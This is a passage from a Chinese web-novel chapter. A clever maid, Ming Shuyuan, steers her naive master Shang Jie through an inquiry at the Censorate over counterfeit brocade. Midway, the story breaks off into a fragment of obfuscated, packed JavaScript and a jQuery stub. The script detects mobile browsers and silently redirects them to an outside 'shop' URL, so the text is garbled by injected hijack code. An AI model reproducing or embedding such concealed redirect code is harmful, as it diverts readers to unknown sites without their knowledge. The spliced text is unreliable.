明殊苑在顺天衙外等候,眼看着衙内出来一辆驴车,几个府吏搬来几口大箱子,放在车板上面,是那几箱苏锦。可商洁没出来,韦叙也没出来,明殊苑心下一沉,坏了,这是要押送去御史台。
真要到了御史台,定罪下来,就算以前的明殊苑来了也难救。
商洁没救了。
明殊苑确信。
那跟他耗着也没用了。万一商府也被查封,明殊苑还得跟着遭罪。不如先跑算了,回府上带走裘娘子,还有账房那个肖先生,还能做点别的生意,也不至于太落魄,最起码不用受牵连。
明殊苑真恨自己离开京城几年看人越发不准,才入府几天就树倒猢狲散。她放下车帘,转身从车尾扶着车沿跳下来,这一跳就撞进一个人怀里。明殊苑抬头,眼泪说来就来:“少爷——”
“小苑?”商洁也很不解,“你怎么同韦先生一起,还来到此处?”
韦叙背着手指挥驴车和衙吏,闻言哂笑一声:“商洁,你府中的花房侍女买包花种都能迷路,竟没人教她做下人的规矩。”
商洁还是懵懵的:“买花种和来顺天衙有什么关系。”
这一主一仆没一个聪明人,韦叙绝望地闭上眼,绕到车头交代车夫去了。明殊苑抓着商洁的袖子还没撒手,眼睛红红的:“我还以为少爷挨板子了。”
商洁真受不了她这样,晕晕乎乎地安慰两句:“你放心,我没挨板子……”说完又觉得不对,“我为什么要挨板子?”
明殊苑也想知道现在是什么个情况,面不改色地继续演:“我跟这位先生聊您最近做生意的事,他马上就很严肃带我到了这里,我知道这个地方是挨板子的地方。”
阿诺在旁边插话道:“小苑,你可太小瞧我们少爷了,少爷可不是任人搓圆捏瘪的性格,少爷可是文韬武略!自有谋划!”
商洁说着也骄傲起来了:“没错!买到假货就得及时报官!父亲从小就告诉我,要相信大盛国的律法!”
……
合着他根本不知道那批苏锦的来头。
他是觉得自己花钱买到假货了才来报官的。
韦叙现在相信世上真有傻人有傻福,这人现在还不知道这批苏锦背后牵扯着多大一盘棋,更不知道有多少人要为此丢掉性命。他来报官是因为怕李掌柜赖账,想通过顺天衙叫李掌柜退货退钱。他更不知道自己被有心之人暗算,李掌柜背后的势力想不费一兵一卒侵吞掉商家所有的家产,还要害他性命。
他什么都不知道,还在这听这个傻侍女恭维:“少爷好聪明!少爷好厉害!”
商洁已经飘飘欲仙,刚要再说点什么。被韦叙一脑瓜崩弹过去:“别废话了,赶紧上车,到御史台知道什么就说什么。”
商洁悻悻地上车去了,明殊苑就低下头跟着。她现在的脸色也很不好看,心里冒出了和韦叙一模一样的几个字。
还真是傻人有傻福。
既然他没事,后面的事明殊苑也懒得再管,还不如先回府趁用膳时间把那契书收帖偷偷还到账房去。她琢磨着正要开口,忽见顺天衙内出来一人,他穿着从六品官服,隔着半挂起来的车帘,摆摆手向韦叙作别。
明殊苑神色冷了一些,这人她倒认识。
那年同父亲踏春,此人新官上任,在小道遇了马车,孙景和退车让道,结识了她父亲。寥寥几次往来都还算和气,谁知最后竟也成了压倒骆驼的帮凶。
明殊苑不确定当年他有没有看到过自己,于是小脸往商洁那边一歪,几乎拱到他怀里去:“少爷,我也要去吗?我想回府上了,在外面待太久裘姐姐会数落我的。”
她转头的时候,那枚雪柳垂丝簪子叮铃作响。凑得太近,身上全是花香。商洁一下脸红了,结结巴巴地:“你也不会驾车,总不能叫你自己走回去吧。”
韦叙真是无语了:“你家下人还得派车才能回府吗?”
他现在越发好奇这花房侍女什么来头,于是又问道:“你姓什么?”
商洁也早就想问,于是一起转过头去。
明殊苑眼睛一眨:“我母亲早逝,平日里也没什么人称呼过父亲的姓名,我自无从得知。寻常人家,草草流民,姓甚名谁难道重要吗?”
言下之意,确是不知自己姓氏。听她身世惨淡,商洁眼底流露出一丝怜悯,又一想到她之前说受过自己恩惠,虽然全无印象,但还是唏嘘得不得了。韦叙显然不信,刚要询问商洁,商府添下人,总不能不查户籍文书,谁知商洁马上长叹了一口气:“我父亲也已身去,你我算是同病相怜,往日之事不可追,往后你就好好待在我府中吧!”
跟一个身份不明的侍女玩起同是天涯沦落人那套了,好一个商府大少爷啊!
不怪别人还是称他少爷,哪怕现在商府是商洁掌事,这人又哪有半分撑起家业的样子了?简直幼稚可笑!
韦叙沉着脸:“待此事结了,我上你府中一趟。”
商洁有什么心思都写在脸上,又是那副毛都没长齐就想着自己飞的表情,显然是不愿意。韦叙瞧他这样,更是上火,刚想摆出长辈的架子教训几句,在一旁的那蠢侍女突然瞪着双大眼睛凑过来:“好呀!先生想在会客厅摆什么花?”
商洁没什么城府,神情不会避人,直接皱了眉:“小苑……没规矩。”
明殊苑又露出那种委屈的神情:“抱歉……少爷,您聪明善良又大方慷慨,一直待我这么好,是小苑逾越了,小苑以为我们已经是共患难的关系了。”
眼下快到御史台,这个“我们”还包含着另外一人,韦叙瞧着明殊苑,实在判断不出说者是否有心,但商洁又仿佛听进去了,也不知到底有没有悟出这层意思。
愚蠢与高明,有时只是一线之隔,一念之间。但此时韦叙打定主意要查这侍女的身份,他一向直觉很准,此人绝不简单。
他的目光毫不掩饰地打量着明殊苑,已经是明晃晃的审视,明殊苑却毫无畏惧,又不似一开始展露在人前的那种娇怯和软弱。她不知者无畏一般地,向韦叙报以一个天真的笑容。
像在说,我帮你搞定了,你可以来我们府上做客了。
绝没有那么简单。
.
孙景和派了一位衙吏快马先去通传。因而韦叙一行人到御史台时,负责此案的推勘已等在门前,台中官员迎上来,将那几箱苏锦抬入堂中。又有人上前,请商洁下了马车。
阿诺正要叫明殊苑一起跟上,却被人伸手拦住:“与此案不相干的人员,在此等候便是。”
明殊苑脚步一顿,没有争辩,十分顺从地往后退了两步,站到廊下。韦叙却回头向她一点:“她也是目证之人,一同进来吧。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486816|202060||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>明明是一同面见的李掌柜,甚至阿诺参与得倒多些。韦叙只叫明殊苑,却不叫阿诺,无非是想试探她。明殊苑已明白他的心思,抬起头却无辜地眨眨眼,商洁马上回首安慰:“就问几句话而已,不怕的。”
韦叙的表情又被酸得变形,一甩袖子,恨铁不成钢地转头走了。推勘眼瞧着这两人言语,忍不住问了一句:“这女子是……老商家儿子的小妾?”
韦叙冷哼一声:“是比小妾还金贵的花房下人!”
这话叫商洁听见了,明殊苑还没什么反应,他倒先脸红,不动声色把距离拉远了些。过了会又忍不住,脚步一顿等她片刻,没头没尾地来了一句:“我没有那个意思。”
明殊苑正四下打量着御史台,观察着往来官员的面孔神色,通过不同品阶的官服判断这些人的身份,来推算哪些人今后或许可以加以笼络。冷不丁听到这么一句,转过头来,人也懵懵的。
商洁又重复了一句:“我没有他们说的那个意思,小苑。”
明殊苑看到推勘探究的目光和韦叙冷漠的背影,个中意味便大概猜到了一二,于是小声应道:“少爷礼待府中下人,又对小苑有恩,小苑会多多种漂亮的花来报答少爷的恩情的。”
这下轮到商洁含含糊糊了,嗯了一声,也不知道听没听进去。
明殊苑这时的注意力才回到眼下的事上来。思来想去,商洁确是善良守礼之人,作为报答,合该再提点他一些。
于是她拉一拉商洁的袖子,簪子晃了晃,像只小云雀叮铃作响地凑到他身边,神神秘秘地唤他:“少爷。”
商洁晕晕乎乎地:“哦。”
哦什么?还什么都没说。明殊苑觉得他脑子有问题,说得更直白了些:“一会到里面,少爷您少说话。官老爷不问,您不说,他一问,您惊讶。”
“哦……”商洁看着明殊苑的神色,“什么意思。”
明殊苑像是有些着急了,拉着他的袖子踮踮脚,凑在耳边说:“就是不要乱说话呀!我爹说过,官老爷问话,每个字都要记在纸上当作呈堂证供的。先前我邻家有个屠户路上见到一头猪,很高兴就宰了,结果那猪是大官家里偷跑出来的!本来赔钱就行了,谁知他说错了话,晌午进了顺天衙,下午就被打死了!可吓人了。”
商洁忍不住摸了摸自己的后背:“哪有这种错杀了一头猪就被打死的……你爹吓唬你的吧……”
“就是这样。”明殊苑煞有其事的,更大声了些,“您也不认识李掌柜,买到假货本来就是无妄之灾啊!所以只要一五一十地复述那天的事情就好了,免得多说多错被记在纸上,想欺负您的坏人会借机害您的!”
韦叙听了半天,终于忍不住了。转头斥道:“你一花房侍女,别乱教他了。这是御史台不是菜市场,更不是你们没规矩的商府后花园!你们走分开些,一会进去单独问话。”
明殊苑很不服气,低着头往后退去了。商洁也不服气,脑袋一撇不看韦叙那边。推勘是个好脾气的,也没多计较,摸着脑袋说:“这小商的性格和老商也太不一样了。”
韦叙气得胡子发抖:“他要真跟他父亲一般,今日就不必闹到御史台来了!”
说着,身后传来一阵响动。派出的差役匆匆忙忙地小跑上来,看了商洁一眼,又在推勘耳边压低声音:“大人,李掌柜跑了。”